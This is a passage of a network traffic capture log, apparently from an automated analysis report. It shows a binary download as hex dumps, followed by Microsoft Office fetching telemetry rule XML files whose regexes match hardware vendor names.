bf ba d4 62 78 23 5d f2 48 bb 91 a1 95 0f 5d bf 38 ed f2 d2 f8 37 51 be d7 34 a4 b5 6d 5a 4b 09 bc df 36 dd de 05 bc 57 8c e0 70 df 2f 4f f1 a9 f4 d9 3c 47 a8 dd 5d f8 a1 ae fe Data Ascii: \|M~/Q%gI9Iur++V[{XoM[5_<>h7`aX?y[X4"M$n+=N2+V0pyGk\iV7=\|}Gab&Eq^+3n&9wz5Mv~_{jgR}bx#]H]87Q4mZK6Wp/O<G]
2024-11-28 16:24:21 UTC	16065	IN	Data Raw: 5d 0c 92 2b 7d ae 6b c8 35 26 b7 bc b4 fb 34 29 0d d7 9b 2c 32 06 4f 31 62 c7 dd c2 fa d3 49 0a 5c df 13 dc c8 b7 4d 43 5b fb 0c 3a b6 93 25 c7 9b 32 ec 9a 1d ab fb b0 a4 fd df ba be 83 fb d5 b5 67 aa 78 72 df 59 d4 1a fa 39 d6 3f ec e5 de 88 f2 45 bd ba aa f5 fb ca ad c5 1e 2e f1 0d ce 91 e2 3b 8b eb a9 1e 06 bc b1 5b 68 7c e4 6f 37 e4 e7 63 ed e1 95 b7 7f 85 79 9f 89 35 55 d4 a4 85 6c ed 24 d3 56 24 55 fd cb fd fc 37 e3 4e 9c 64 e5 b6 81 26 92 4e fa 97 bc 7d ab cb ad dd 25 ac 77 f3 cb 6f 6b b9 a1 79 be f6 ed dd 7d 85 73 fa 85 bc 4d 3b b3 49 27 cc 9b a5 d9 fe 78 a9 a6 68 de d5 1b f7 9e 77 de d8 ff 00 c1 54 ee 92 55 9d 17 ef fc 8c ce 9f c2 eb 5d 91 8c 61 1d 11 cd 29 4a 52 39 3b 8d 0f 53 bd d4 ae 21 b7 b0 9e e2 4b 7f 99 fe cf 03 36 c5 fe f1 c5 6f 78 1f e1 Data Ascii: ]+}k5&4),2O1bI\MC[:%2gxrY9?E.;[h\|o7cy5Ul$V$U7Nd&N}%woky}sM;I'xhwTU]a)JR9;S!K6ox
2024-11-28 16:24:21 UTC	16384	IN	Data Raw: 13 94 4c ff 00 1e d9 7f 8b bd 79 2d f4 73 fc ff 00 ea 37 7d d4 d8 9f 35 77 3f b5 16 b8 ba cf c4 28 61 f2 24 59 b4 db 45 b6 99 37 c8 ca 92 6e dd f2 ef e7 f8 b9 ae 32 de e2 24 8d 19 a0 93 fb a8 fb 37 7c c7 d2 bb a8 a4 a9 9c f3 77 91 46 6b 66 ba b5 85 5b cb b7 da 8c bf ea 19 be 5f ad 5d d5 92 e6 ff 00 4b 86 1b 5b 48 df ee ff 00 03 32 f1 52 c7 75 12 6f fb 47 99 13 6c 5d 8e ff 00 de 3e 94 fb 3b d5 b7 b7 fd f4 6f 13 7f 1b bc ea aa f9 ff 00 7a b5 d8 57 16 49 19 e4 45 92 0f f5 a9 f2 7f 77 de a4 84 ce b2 6e 6b 4f fc 7e a2 fb 66 e9 d5 96 39 37 2e e5 47 4d b4 7d bd 13 7f 99 04 fb b6 7d fd 94 0c e5 7c 55 23 4f 74 ff 00 bb 93 fe 07 58 57 1b 57 62 ff 00 75 2b 5b 58 bb 89 a4 f9 be 56 5f ef fc b5 9f 35 a4 b7 10 79 d6 e9 24 b1 fd d7 d9 fc aa 66 c9 8c 6c c8 7c 23 69 a5 6a Data Ascii: Ly-s7}5w?(a$YE7n2$7\|wFkf[_]K[H2RuoGl]>;ozWIEwnkO~f97.GM}}\|U#OtXWWbu+[XV_5y$fl\|#ij
2024-11-28 16:24:21 UTC	16384	IN	Data Raw: 6b d8 fc 3d ad 49 69 1f da 19 d6 c6 e5 f7 af c8 c6 37 46 8d bf e0 7c ff 00 c0 ab d3 34 df 01 ea 10 6b 33 5f 78 ca 48 2e 24 96 d3 ec 70 a7 cc bf 2a 61 8b 00 7b 96 df 9f c2 b5 9b c3 fa 0d d6 9b 36 93 79 69 05 d4 6d fb f4 de 8b b7 70 6d ca e3 d1 c7 ad 7d 14 31 52 82 5c d2 e6 6b a9 97 2c 64 b6 b7 91 f2 26 ad ba de 4b 15 92 08 f6 ff 00 65 c2 ce ff 00 36 ed db 9c 1f 6a dd 8e df ec 7e 0e da d6 9e 6d e5 c5 dc d0 24 28 ff 00 df 58 e2 8f ff 00 1e 7a f6 4d 63 e0 d7 85 fe c3 34 6b 7f 3a cd 6e 91 ad a3 cb 3e d5 75 12 16 64 91 31 f3 65 59 86 7e 95 66 cf c0 09 e5 c3 6a b7 76 32 b2 bc 9e 4b fc df ea f7 79 8f f3 7f 17 fc b3 02 bd 05 8d 84 a0 92 66 3f 56 95 db 67 8a 6b d6 16 6f ac 5b d8 c7 e4 2c 71 5b f9 49 0c 3f 2a fc 9c c8 51 7d e4 df 9a c3 8e d9 92 47 65 b4 f9 bf 8f 64 Data Ascii: k=Ii7F\|4k3_xH.$pa{6yimpm}1R\k,d&Ke6j~m$(XzMc4k:n>ud1eY~fjv2Kyf?Vgko[,q[I?Q}Ged

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:20 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:20 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162420Z-174f7845968kvnqxhC1EWRmf3g0000000hm00000000002qc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:20 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:20 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 9e5d2c34-901e-0083-1a26-41bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162420Z-174f7845968j6t2phC1EWRcfe80000000yx000000000366p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:20 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 30944020-a01e-0053-5e8b-3f8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162420Z-174f7845968nxc96hC1EWRspw80000000ya000000000f90r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:21 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:20 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:20 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 6f96f590-e01e-0099-0e7f-3fda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162420Z-174f7845968ljs8phC1EWRe6en0000000ydg00000000ftgt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:21 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:21 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:22 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 33ff7c98-601e-0097-063e-40f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162422Z-174f78459684bddphC1EWRbht40000000y9000000000ktd1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:22 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:22 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 6eac52fb-a01e-006f-2191-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162422Z-174f7845968frfdmhC1EWRxxbw0000000ys0000000006uyh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:22 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: ed9dfa2a-401e-0015-7891-3f0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162423Z-174f7845968j6t2phC1EWRcfe80000000yqg00000000hgm9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:23 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: dc0e488f-901e-005b-3891-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162423Z-174f7845968qj8jrhC1EWRh41s0000000yfg00000000m97u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:24 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:23 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: c665a67d-901e-002a-1b91-3f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162423Z-174f7845968vqt9xhC1EWRgten0000000yp000000000d72t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:24 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:24 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:24 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162424Z-174f7845968zgtf6hC1EWRqd8s0000000rmg00000000cquc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:24 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" 